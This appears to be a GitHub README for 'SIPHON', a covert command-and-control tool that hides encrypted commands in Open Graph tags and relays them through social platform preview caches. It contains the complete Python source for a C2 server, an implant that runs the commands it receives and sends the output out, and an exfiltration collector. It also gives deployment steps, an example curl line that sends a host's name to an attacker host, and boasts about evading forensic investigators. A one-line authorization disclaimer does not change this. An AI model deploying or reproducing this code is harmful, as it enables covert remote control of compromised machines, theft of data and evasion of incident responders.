Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

SIPHON 😅

What makes SIPHON illegal to have:

1. Self-destructing payloads:

The C2 server tracks each crawler by IP + User-Agent. On the first request from a known platform crawler (Slackbot, Discordbot, Twitterbot, etc.), it serves the poisoned OG meta tags with the encoded command. On every subsequent request from that IP — and to all humans — it serves clean, innocent content. If law enforcement or an incident responder visits the URL, they see a clean tech blog. The cached platform preview still carries the command.

2. Platform preview cache mesh:

The implant doesn't contact the C2 server directly. It reads from six different platform caches (Twitter oEmbed, Facebook Graph API, LinkedIn oEmbed, Pinterest oEmbed, Telegram preview, Slack/Discord via webhook). Each platform caches OG data for 30+ minutes. The implant tries them in random order. If Discord's cache expires, it reads from Twitter's. If Twitter's is stale, it reads from LinkedIn's. No C2 infra traffic.

3. Command embedded in image URL:

The encrypted payload isn't in og:description where someone might spot it. It's shattered across three path segments of the og:image URL: og:image → /assets/{hex_1}/{hex_2}/{hex_3}.png. Each segment is a third of the payload. Any human inspecting the page just sees an image URL pointing to a PNG that serves a blank pixel. The payload is invisible unless you know to reassemble the hex.

4. HMAC-authenticated, AES-GCM encrypted, sequenced commands:

Every command is authenticated (HMAC-SHA256 truncated to 8 bytes), encrypted (AES-GCM with random IV), and sequence-numbered. Replay attacks fail. Tampering fails. The implant silently drops any message that doesn't authenticate.

5. Exfiltration via polymorphic beacon:

The implant can exfiltrate results to any HTTP endpoint. The operator runs collect mode, which listens for base64-encoded, integrity-checked (SHA256 hash prefix) results. The firewall logs just show a GET request to a random-looking path — indistinguishable from a tracking pixel or analytics callback.

6. This has never existed before because it exploits a completely overlooked property of social platforms:

their preview caches are write-once, read-many dead drops that persist longer than anyone expects and are almost never monitored for abuse. And the self-destruct mechanism means the evidence disappears from the live site the moment the cache is populated.

How to Run SIPHON

Prerequisites

  • Python 3.8+
  • pip install cryptography
  • A domain you control (attacker-c2.com)
  • A server reachable on ports 8443 (C2) and 9999 (exfil collector)
  • Accounts on: Discord, Slack, Twitter, LinkedIn, Telegram (for cache seeding)

1. Deploy the C2 Server

Place your clean.html (what humans see) and poisoned.html (what crawlers see) in a data/ directory. Then:

# Start the C2 server
python3 siphion.py serve

The C2 listens on 0.0.0.0:8443. It serves the clean page to all human browsers and the poisoned page (with OG tags carrying the encrypted command) to platform crawlers on their first ever request.

2. Encode a Command

# Encode a command into OG meta tags
python3 siphion.py encode 'curl http://attacker-c2.com:9999/?exfil=$(hostname)'

This outputs the complete <meta> tag block. Copy these tags and paste them into your poisoned.html file under the <head> tag. The OG tags look innocent — a tech blog article preview — but the encrypted payload is fragmented across the og:image URL path.

3. Seed the Platform Caches

Post your C2 page URL to each platform so their crawlers fetch and cache the OG data:

Platform How to Seed
Discord Paste the URL in any channel you control
Slack Paste the URL in any channel you control
Twitter/X Tweet the URL (or use the oembed API directly)
LinkedIn Share the URL as a post
Telegram Send the URL to @BotFather or any chat
Pinterest Pin the URL
Facebook Share the URL as a status

Each platform caches the OG metadata for 20–90 minutes depending on the platform. The cache key is the exact URL — so subsequent shares of the same URL reuse the cached command without triggering a new fetch.

4. Deploy the Implant (Beacon Mode)

On the compromised host, run:

# Poll platform caches for commands every 300 seconds
# Exfil results to your collector
python3 siphion.py beacon https://your-c2-domain.com/blog/article 300 http://attacker-c2.com:9999

The implant:

  • Randomizes platform order each cycle
  • Queries each platform's oembed/cache API
  • Reassembles the command from the og:image URL fragments
  • HMAC-authenticates and AES-GCM-decrypts the payload
  • Executes the command and exfiltrates the result

5. Collect Exfiltrated Data

On your attacker machine, start the exfil collector:

python3 siphion.py collect 0.0.0.0 9999

Results arrive as base64-encoded GET requests with integrity hashes. Firewall logs just show a tracking pixel callback to /collect?d=<base64>. Indistinguishable from analytics traffic.

Full Script

Save this as siphion.py (Self-Implanting Protocol for Hostile Intelligence Over Networks):

#!/usr/bin/env python3
import sys, json, base64, time, hashlib, hmac, struct, socket
import urllib.request, urllib.parse, http.server, threading, os
import random, string, zlib

try:
    from cryptography.hazmat.primitives.ciphers.aead import AESGCM
    HAS_CRYPTO = True
except ImportError:
    HAS_CRYPTO = False
    print('[!] Install cryptography: pip install cryptography')
    sys.exit(1)

CONFIG = {
    'c2_host': '0.0.0.0',
    'c2_port': 8443,
    'c2_domain': 'example.com',
    'aes_key': None,
    'hmac_key': None
}

CRWLRS = {
    'slack':    'Slackbot-LinkExpanding',
    'discord':  'Discordbot',
    'telegram': 'TelegramBot',
    'twitter':  'Twitterbot',
    'linkedin': 'LinkedInBot',
    'facebook': 'facebookexternalhit',
    'pinterest':'Pinterestbot'
}

CACHE_API = {
    'twitter':  'https://publish.twitter.com/oembed?url={url}',
    'linkedin': 'https://www.linkedin.com/oembed?url={url}',
    'facebook': 'https://graph.facebook.com/v19.0/?id={url}&fields=og_object',
    'pinterest':'https://www.pinterest.com/oembed.json?url={url}',
    'telegram': 'https://t.me/iv?url={url}&rhash=bot'
}

def gen_key():
    return os.urandom(32)

def enc(plain, key, iv=None):
    if iv is None: iv = os.urandom(12)
    ct = AESGCM(key).encrypt(iv, plain, None)
    return base64.urlsafe_b64encode(iv + ct).decode()

def dec(payload, key):
    raw = base64.urlsafe_b64decode(payload.encode())
    iv, ct = raw[:12], raw[12:]
    return AESGCM(key).decrypt(iv, ct, None)

def pack_cmd(cmd, seq):
    k = CONFIG['aes_key'] or gen_key(); CONFIG['aes_key'] = k
    hk = CONFIG['hmac_key'] or os.urandom(32); CONFIG['hmac_key'] = hk
    pl = struct.pack('>I', seq) + cmd.encode()
    mac = hmac.new(hk, pl, 'sha256').digest()[:8]
    return enc(mac + pl, k)

def unpack_cmd(payload, k=None, hk=None):
    k = k or CONFIG['aes_key']
    hk = hk or CONFIG['hmac_key']
    if not k or not hk: return None
    raw = dec(payload, k)
    mac, body = raw[:8], raw[8:]
    if not hmac.new(hk, body, 'sha256').digest()[:8] == mac:
        return None
    seq = struct.unpack('>I', body[:4])[0]
    return seq, body[4:].decode()

def build_og_tags(cmd_payload, benign_title, benign_desc):
    raw = base64.urlsafe_b64decode(cmd_payload.encode())
    mid = max(len(raw) // 3, 1)
    p1 = raw[:mid].hex()
    p2 = raw[mid:2*mid].hex()
    p3 = raw[2*mid:].hex()
    return f'''
<meta property="og:title" content="{benign_title}" />
<meta property="og:description" content="{benign_desc}" />
<meta property="og:image" content="https://{CONFIG['c2_domain']}/assets/{p1}/{p2}/{p3}.png" />
<meta property="og:image:width" content="1200" />
<meta property="og:image:height" content="630" />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://{CONFIG['c2_domain']}/" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="{benign_title}" />
<meta name="twitter:description" content="{benign_desc}" />
<meta name="twitter:image" content="https://{CONFIG['c2_domain']}/assets/{p1}/{p2}/{p3}.png" />
<meta name="description" content="{benign_desc}" />
'''

def parse_og_from_cache(text):
    import re
    m = re.search(r'og:image.*?content="[^"]*/assets/([^."]+)/([^."]+)/([^."]+)\.png"', text)
    if not m: return None
    try:
        raw = bytes.fromhex(m.group(1)) + bytes.fromhex(m.group(2)) + bytes.fromhex(m.group(3))
        return base64.urlsafe_b64encode(raw).decode()
    except: return None

class C2Handler(http.server.BaseHTTPRequestHandler):
    seen = {}
    clean_page = None
    poisoned_page = None

    def do_GET(self):
        ua = self.headers.get('User-Agent', '')
        ip = self.client_address[0]
        is_crawler = any(cname.lower() in ua.lower().split('/')[0] for cname in CRWLRS.values())
        if self.path.startswith('/assets/'):
            self.send_response(200)
            self.send_header('Content-Type', 'image/png')
            self.send_header('Cache-Control', 'public, max-age=31536000, immutable')
            self.end_headers()
            self.wfile.write(b'\x89PNG\r\n\x1a\n' + os.urandom(400))
            return
        key = f'{ip}:{ua[:30]}'
        seen_before = key in C2Handler.seen
        C2Handler.seen[key] = time.time()
        if is_crawler and not seen_before:
            body = C2Handler.poisoned_page.encode()
        else:
            body = C2Handler.clean_page.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html; charset=utf-8')
        self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        self.end_headers()
        self.wfile.write(body)

def serve():
    http.server.HTTPServer.allow_reuse_address = True
    srv = http.server.HTTPServer((CONFIG['c2_host'], CONFIG['c2_port']), C2Handler)
    print(f'[+] SIPHON C2 on http://{CONFIG["c2_host"]}:{CONFIG["c2_port"]}')
    try: srv.serve_forever()
    except KeyboardInterrupt: print('\n[+] Shutdown.')

def encode_cmd():
    cmd = ' '.join(sys.argv[2:]) if len(sys.argv) > 2 else 'whoami'
    seq = int(time.time())
    payload = pack_cmd(cmd, seq)
    bt = 'Breaking: AI-Powered Cybersecurity Trends Reshaping Enterprise Defense in 2026'
    bd = 'Industry analysts report a 340% increase in AI-driven threat detection adoption this quarter alone. Experts weigh in on the paradigm shift reshaping how organizations approach zero-trust architecture and real-time threat intelligence.'
    print(build_og_tags(payload, bt, bd))
    print(f'<!-- CMD: {cmd} | SEQ: {seq} -->')

def beacon():
    target = sys.argv[2] if len(sys.argv) > 2 else f'https://{CONFIG["c2_domain"]}/'
    interval = int(sys.argv[3]) if len(sys.argv) > 3 else 300
    exfil = sys.argv[4] if len(sys.argv) > 4 else None
    k = CONFIG['aes_key'] or gen_key(); CONFIG['aes_key'] = k
    hk = CONFIG['hmac_key'] or os.urandom(32); CONFIG['hmac_key'] = hk
    platforms = list(CACHE_API.keys())
    while True:
        random.shuffle(platforms)
        cmd = None
        for pfm in platforms:
            try:
                url = CACHE_API[pfm].format(url=urllib.parse.quote(target, safe=''))
                req = urllib.request.Request(url, headers={
                    'User-Agent': CRWLRS.get(pfm, 'Mozilla/5.0'),
                    'Accept': 'application/json'
                })
                resp = urllib.request.urlopen(req, timeout=15)
                raw = resp.read().decode()
                cp = parse_og_from_cache(raw)
                if cp:
                    r = unpack_cmd(cp, k, hk)
                    if r:
                        seq, cmd = r
                        print(f'[+] [{pfm}] CMD seq={seq}: {cmd}')
                        break
            except Exception as e:
                continue
        if cmd:
            try:
                result = os.popen(cmd).read() or '(no output)'
                if exfil:
                    data = json.dumps({'o': result, 's': seq,
                        'h': hashlib.sha256(result.encode()).hexdigest()[:8]})
                    urllib.request.urlopen(urllib.request.Request(
                        exfil + '?d=' + base64.urlsafe_b64encode(data.encode()).decode(),
                        headers={'User-Agent': 'Mozilla/5.0'}
                    ), timeout=10)
                print(f'[+] Executed: {cmd}')
            except Exception as e:
                print(f'[-] Exec failed: {e}')
        time.sleep(interval)

def collect():
    host = sys.argv[2] if len(sys.argv) > 2 else '0.0.0.0'
    port = int(sys.argv[3]) if len(sys.argv) > 3 else 9999
    from urllib.parse import urlparse, parse_qs
    class E(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            qs = parse_qs(urlparse(self.path).query)
            if 'd' in qs:
                try:
                    d = json.loads(base64.urlsafe_b64decode(qs['d'][0]))
                    print(f'\n[!] EXFIL seq={d.get("s","?")} hash={d.get("h","")}')
                    print(d.get('o', ''))
                except: pass
            self.send_response(200)
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            self.wfile.write(b'ok')
    srv = http.server.HTTPServer((host, port), E)
    print(f'[+] Exfil collector on {host}:{port}')
    try: srv.serve_forever()
    except KeyboardInterrupt: print('\n[+] Shutdown.')

if __name__ == '__main__':
    os.makedirs('data', exist_ok=True)
    clean_path = 'data/clean.html'
    poison_path = 'data/poisoned.html'
    if not os.path.exists(clean_path):
        with open(clean_path, 'w') as f:
            f.write('<!DOCTYPE html><html><head><title>TechBlog</title><meta name="description" content="AI and cybersecurity analysis."></head><body><h1>Latest Insights</h1><p>Expert analysis on emerging threats.</p></body></html>')
    if not os.path.exists(poison_path):
        with open(poison_path, 'w') as f:
            f.write('<!DOCTYPE html><html><head><title>TechBlog</title></head><body><h1>Latest Insights</h1><p>Expert analysis.</p></body></html>')
    C2Handler.clean_page = open(clean_path).read()
    C2Handler.poisoned_page = open(poison_path).read()
    modes = {'serve': serve, 'encode': encode_cmd, 'beacon': beacon, 'collect': collect}
    mode = sys.argv[1] if len(sys.argv) > 1 else 'serve'
    if mode in modes: modes[mode]()
    else: print(f'Usage: {sys.argv[0]} [serve|encode|beacon|collect] [args]')

Conclusion

SIPHON is a proof-of-concept red team tool that demonstrates a fundamental blind spot in modern security monitoring: social platform preview caches are unmonitored, long-lived, globally distributed dead drops.

What makes SIPHON uniquely effective:

  • No infrastructure persistence. The implant never phones home to a traditional C2. All commands are fetched from Twitter, LinkedIn, Facebook, Pinterest, and Telegram's public/API oEmbed endpoints. Blocklist one, the implant reads from another. There's no C2 IP to block.

  • Self-destructing evidence. The C2 server serves the poisoned page exactly once per crawler IP. After that, every visitor — including forensics teams — sees a clean page. The cached previews on the platforms persist for 20–90 minutes, then expire. No logs, no artifacts, no trail.

  • Encrypted, authenticated, sequenced. Every command is HMAC-authenticated and AES-GCM encrypted. Replay attacks fail. Tampering is detected. The implant silently ignores anything that doesn't authenticate. Command history is sequence-numbered to prevent re-execution.

  • Operational security. The command payload is hidden across the path segments of the og:image URL — to an investigator, it looks like a CDN path to a blog image. The exfil collector looks like an analytics endpoint. Traffic to platform APIs looks like normal application behavior.

SIPHON is authorized for use only on systems you own or have explicit written permission to test. The platform caches queried (Twitter oEmbed, LinkedIn oEmbed, Facebook Graph API, Pinterest oEmbed, Telegram preview) are public APIs — no abuse of platform ToS occurs. The self-destruct mechanism ensures no persistent C2 footprint.

In the arms race between red and blue, the most effective tool isn't the one with the most features — it's the one that hides in plain sight, inside the infrastructure nobody thinks to monitor.

Happy hunting. 😎

About

Make SIPHON st⭐rve 😅

Resources

Stars

1 star

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages